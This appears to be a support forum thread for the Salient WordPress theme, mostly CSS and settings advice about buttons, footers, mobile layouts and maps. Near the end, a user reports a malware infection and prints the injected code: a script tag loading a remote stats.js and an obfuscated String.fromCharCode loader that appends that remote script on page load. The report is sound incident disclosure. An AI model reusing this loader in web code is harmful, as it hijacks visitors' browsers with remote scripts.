Hey alienintelligence,

Could you kindly share the page URL in regards so I can take a look to better assist?

Thanks

Hi, I managed to get around it by playing with transparencies and pngs. thanks anyway

Hey dangsial,

It was just released

As long as your modifications are contained to the child theme it should go pretty easily – however if you’ve copied core files into the child theme such as the header.php, footer.php etc, then those would need to be updated in the child theme after updating to reflect the new structure of the parent files

Cheers

Amazing update, thanks for all your hard work!! Just a few small things I noticed after updating:

- The font on my call to action/buttons changed, where can I adjust this?

- My footer copyright font may have also changed, or my eyes may be playing tricks on me. Can I adjust this somehere?

- The contact form does not have the material ui/interactive interface like it did before. For example, prior to the update, the boxes to enter information in wasn’t large and gray – it remained white and expanded upon typing. Also for example, when clicking the “Name” field, the title of the field animated/automatically moved upwards like a google material UI form and revealed the space to type after. Not sure if this makes sense, but my contact form now looks very old-school ish whereas before it had a google material ui-like design and feel. Where can I adjust this option back to its original?

Thanks dangsial

1/2. Could you kindly share your URL in regards so I can take a look?

3. Unfortunately that style had to be switched to not rely on javascript to move the labels around – it ended up being a main source of user issues when using third party forms in one way or another. If you are using the material skin, change your form styling to “Inherit” in the Salient options panel > form styling tab. It’s still not as interactive as the last, but you may like it better

Cheers

There is a call to action button that says “begin lift-off” on the page – this was the font and styling that was originally on the other call to actions/buttons throughout the page I think. Essentially after the update, the font styling for buttons/cta’s became heavier in weight and I’m not sure how to fix it.

Additionally, the copyright area font may have gotten larger than it was before. If this was changed after the update, could you please provide the css for me to specifically style this?

3) No problem, I took your advice and used the material ui plugin and it now works according to how I envisioned it

4) Could you also provide me the css code to adjust the top and bottom padding for the header navigation bar? Just wanted to see what it would look like if I made it narrower.

Thanks a ton again for all your help in advance!

5) Sorry to add one more thing to your plate, I know you deal with a lot of questions (thank you for being so awesome). Our “Bio Shown In Fullscreen Modal” element on our “About” page has a darker gray bar popping out from the center of the page to the right side. It was working fine before like the Salient promo page showing this feature, but now there’s a darker gray bar coming from as well. Could you please advise how to resolve this or if I have to recreate the page or delete/re-add the feature?

Thanks!!

Hey dangsial

It appears for the Begin Lift Off CTA, you’re inheriting from the heading 6 typography settings which is using

“Roboto” with a weight of 500 – What do you currently have set for the “Sidebar, Carousel, Nectar Button & Footer Headers Font” in the Typography > Nectar Specific elements tab?

In regards to the copyright area:

Add this into the custom css box located in the Salient options panel > general settings > css/script related tab

#footer-outer #copyright {
    padding: 10px 0px;
}

4. You can set the header padding via the Salient options panel > header navigation > logo & general styling tab with the field “Header Padding”. The default value is 28, so enter anything lower than that to see the size difference on the front

5. That page is currently password protected – could you allow me to bypass it so I can take a look?

Cheers

Hi again,

Thanks for all the awesome and super responsive help so far!

Button Text Issue: Changing the typography for “Sidebar, Carousel, Nectar Button & Footer Headers Font” in the Typography > Nectar Specific elements tab has fixed this. All resolved!

Copyright footer text issue: for your css code that you provided, it seems like that reduces the padding (which is also great and nice to have) – could you please let me know how I could adjust the copyright text itself? In terms of font style/type/weight. Currently, it uses the body font styling, but it would be nice to style it separately.

Header padding: Great! This worked. I had “0” in there before and noticed no difference, but I see now that you just have to have a value between 0 and 28 to see a difference).

5) I have now removed the password to our About page so you can review the full screen bio issue.

A few other minor things came up today as we were doing a review:

6) On Home8g page we linked previously, in reference to the images shown next to the “A versatile partner for your journey” and “Valuable perks for flying with us”, there is a light gray border shown on the bottom and right side of the picture for the first one, and a light gray border shown on the bottom of the picture for the second one – this appears to only be visible on Macbooks (we tested on a 12 inch Macbook with retina). Looking at these images on a PC though, there are no borders visible between the white background of the pictures versus the white background of the rows.

7) For mobile viewing, on the Home8g page at the very bottom just above the “All systems go.” text, I am not sure why but an additional line appears across the page on top of my divider line. This only happens in mobile view. Can this be fixed?

When viewing the whole website on macbooks with retina display (we can only speak from a 12 inch Macbook perspective), the website looks very zoomed in, with text/images etc. appearing larger than I would like. It appears that the webpage does not scale downwards to match the screen of a Macbook. Ideally, I would want everything about 20-40% smaller than what they currently see (perhaps force a tablet resolution?). Do you have any suggestions on how we can address this so our website experience is the same across all platforms? PC resolutions of 1080p and above look great. It’s primarily smaller macbooks with retina displays that we’re seeing this “issue” as everything seems larger than we’d like it to be and the experience is not the same with the lack of padding/white space throughout.

If you have any questions, please let me know!

Hey dangsial,

4. Add this into the custom css box located in the Salient options panel > general settings > css/script related tab

5. As soon as I swap the SVG image you have for the team member full image with a regular jpg/png via the inspector that space goes away – is there any reason you’re using an SVG instead of an image for that section?

6. I tried to replicate this on my 13” macbook pro but so far I have not been able to see those lines – what browser are you using?

7. Try to add this into the custom css box:

.wpb_row .row-bg-wrap .row-bg-overlay {
  background-repeat: no-repeat!important;
}

8. Is this related to you updating to 9.0 or are you just curious how you can shrink the content down further for small desktop screens?

Cheers

Hi!

Apologies for the late reply, had a personal circumstance to take care of.

4) I believe you accidentally forgot to include the CSS code to specifically style the copyright footer text.

5) No worries, we will use non-svg for now. We liked SVG as the quality remains flawless as the image moves.

6) Chrome was being used, I will see if this problem persists and will open a proper ticket if this persists.

7) That fixed it, thank you!!

It is unrelated to 9.0 salient. I guess I am just wondering how to shrink the content down further for small desktop screens, or I guess specifically smaller macbook screens (less than 15”). I believe the issue might be the fact that for a 12 inch macbook (as an example), its 2304×1440 resolution mimics that of a much larger laptop that is 1080p due to the retina display. As such, a small macbook will show the full resolution/size of the website, although its screen is actually much smaller due to its high pixel count. Not sure if this is achieveable, but would love for the text size shown on smaller macbooks to be scalled down.

9) Also for the pricing table template, for each bullet point or list item, if the text goes to the second line (and onwards if it’s longer), it does not get indented. Only the first line of the bullet point/list item gets indented for the pricing table. How can I fix this with CSS?

Thanks again!

Hey Dangsial,

body #footer-outer #copyright p {
  font-weight: 600;
  font-family: Roboto;
}

In regards to targeting retina screens only, you could wrap the needed CSS inside of a media query like this:

@media screen  and (min-device-width: 1200px) and (max-device-width: 1600px) and (-webkit-min-device-pixel-ratio: 1.5) { 

html body {
    font-size: 12px;
    line-height: 23px;
}

} 

To address the list item indentation placement, could you share the page URL in regards?

Cheers

Hey infodigi, I’m currently seeing 2 columns displaying under your “Recent News & Updates” section – have you changed this layout already or are you referring to another section?

Cheers

hai team salient, yes i already change it into 2 columns… but now, i want 2 columns also into mobile version.. for now when i load website on mobile it just show 1 column.. how to display 2 column in mobile view?? thanks..

and 1 more things.. how to make menu header transparent in mobile view?? but when it scroll it has background… thanks..

Hey

1. Add this into the custom css box located in the Salient options panel > general settings > css/script related tab

.mobile .blog-recent.columns-2 .col {
  width: 50%!important;
  padding: 10px;
}

2. The only way to have a transparent header nav on mobile is to use the “Header Permanent Transparent” in the Salient options panel > header navigation > transparency tab

Cheers

haiii team salient… I already tried number 1 solution… its working really well… thanks.. now how if i want to make 2 column into upper section like macroAd at glance… i mean the visual composer, for now in mobile it only shows 1 column too.. you can visit http://macroad-dev.com/

is there any solution to make it 2 column into mobile?? thanks..

hai team salient, i already find it, the setting is on responsive option on each columns right?? thanks team salient

Hey infodigi, you can handle that directly in the page builder by editing each of the columns and using the responsive options tab. In there, you can select the column you desire for the mobile viewport

edit, I see you found the answer before I was able to respond

hai team salient, how to set footer content?? when i already type my footer content… it has default text such as © 2018 macroads indonesia. (like © 2018 with website name)... how to remove this?? thanks

Hey infodigi, In the Salient options panel > footer tab you can remove that with the option “Disable Automatic Copyright”

Cheers

hai salient theme, thanks for the answer.. i wanna ask again, how to make footer area becoming one line in mobile version?? now i dont have one line.. take a look at http://macroad-dev.com/ Thanks.

one more things, how to import custom font and apply it into my website?? for example i have graphik.ttf.. thanks

Hey infodigi,

1. Add this into the custom css box located in the Salient options panel > general settings > css/script related tab

@media only screen and (max-width: 690px) {
#footer-outer .col, body #footer-outer #copyright .col ul {
    width: 100%!important;
   text-align: center;
}
body #footer-outer #social li {
    float: none;
    display: inline-block;
}
body #footer-outer #copyright li a i {
    padding-left: 0;
}
}

2. As of now this would require the use of a plugin or by one of these methods https://themenectar.ticksy.com/article/9773/

thanks salient team…

btw how to make pin point in google maps not show in the center of screen… i want it to display in top right on the screen… how to make it??

Thanks..

Hey infodigi,

To adjust the alignment relative to the map you can change the map center lat/lng – that option at dictates the center focus of the map itself, and the lat/lng you supply for you marker determines where pin(s) actually get plotted

Cheers

hi salient team,

so i cant move the pin in the right top of screen?? because whenever i change the lat/lng it will automatically center the position… i dont want the position to be center.. is it possible? thanks…

Hey infodigi,

You can indeed move it away from the center – you need to slightly change the center point longitude to be different than the actual marker longitude – see the screenshot for an example: https://ibb.co/daNasz

Cheers

hai salient theme, i want to ask… why if i make 3 columns in mobile version there are some space that not tidy.. you can see here http://macroad-dev.com/company/ and make it as mobile view.. you can see under our client section…

the 3 column is not tidy, can you help me figure it out this problem? thanks.

Hey infodigi,

Add this into the custom css box located in the Salient options panel > general settings > css/script related tab

@media only screen and (max-width: 690px) {
body .vc_row-fluid .vc_col-xs-4 {
    width: 33%;
    margin: 0!important;
    padding: 1%;
}
}

Cheers

thanks salient team, its work… i want to ask again… how to edit menu for mobile version?? is there any setting to edit the menu?? thanks.

Hey infodigi,

You can edit the colors in the Salient options panel > header navigation > logo & general styling at the bottom by selecting custom for the “Header Color Scheme” and you can edit the font settings in the Salient options panel > typography > Off Canvas Navigation field

Cheers

Hey 30thcd, you could download a fresh copy of the theme and then run a version compare using git or your desired version control software to see any changes that exist

I have a friend who uses salient as well and they have the same issue with the unverf.com malware redirect attack. Have you check your theme against this malware?

Hey 30thcd, we are currently unaware of any security holes that would allow that attack – could you share your actual URL in regards so I can take a look at the setup? Also, have you already compared your copy of the theme to a raw version to verify nothing has been added to it?

Yes, compared the following files were infected:

.\header.php .\template-no-header-footer.php .\template-no-header.php .\js\jquery.fancybox.min.js .\js\jquery.fullpage.min.js .\js\jquery.twentytwenty.js .\nectar\options\css\custom-theme\jquery-ui-1.10.0.custom.css .\nectar\options\fields\slider\vendor\nouislider\redux.jquery.nouislider.js .\nectar\options\fields\slider\vendor\nouislider\redux.jquery.nouislider.min.js .\nectar\redux-framework\extensions\vendor_support\vendor\select2\select2.jquery.json .\nectar\redux-framework\reduxcore\assets\css\vendor\jquery-ui-bootstrap\jquery-ui-1.10.0.custom.css .\nectar\redux-framework\reduxcore\assets\css\vendor\jquery-ui-bootstrap\jquery-ui-1.10.0.custom.scss .\nectar\redux-framework\reduxcore\assets\css\vendor\qtip\jquery.qtip.scss .\nectar\redux-framework\reduxcore\assets\js\vendor\jquery.alphanum.js .\nectar\redux-framework\reduxcore\assets\js\vendor\jquery.serializeform.js .\nectar\redux-framework\reduxcore\assets\js\vendor\jquery.typewatch.js .\nectar\redux-framework\reduxcore\assets\js\vendor\qtip\jquery.qtip.js .\nectar\redux-framework\reduxcore\assets\js\vendor\qtip\jquery.qtip.min.js .\nectar\redux-framework\reduxcore\inc\fields\slider\vendor\nouislider\redux.jquery.nouislider.js .\nectar\redux-framework\reduxcore\inc\fields\slider\vendor\nouislider\redux.jquery.nouislider.min.js .\nectar\redux-framework\reduxcore\inc\welcome\js\jquery.easing.min.js .\nectar\tinymce\shortcode_generator\js\chosen\chosen.jquery.min.js

Here are the injected codes

in php files:

<script type=’text/javascript’ src=’https://stat.uustoughtonma.org/stats.js?f=2'></script>

in js files

var n2 = document.createElement(‘script’); n2.type = ‘text/javascript’; n2.src = String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47, 115, 116, 97, 116, 46, 117, 117, 115, 116, 111, 117, 103, 104, 116, 111, 110, 109, 97, 46, 111, 114, 103, 47, 115, 116, 97, 116, 115, 46, 106, 115, 63, 102, 61, 51); var scripts = document.getElementsByTagName(‘script’); var n4 = true; for (var i = scripts.length; i—;) {if (scripts[i].src n2.src) { n4 = false;}else{} } if(n4 true){document.head.appendChild(n2);}

Hey webDes13,

Can you please share the URL in regards so I can take a look?

Cheers

thanks so much for your fast support. Now everything is alright (I’ve upload an background image in the hero section).

My last question:

Could you tell me please how can I add a text descriptions to the Category and Tags Archives on the Blog?

You’re welcome webDes13

As of now that would require a modification to the nectar_page_header function in the functions.php – it can also be copied into a child theme functions.php to make the change live through theme updates

Can you write it please?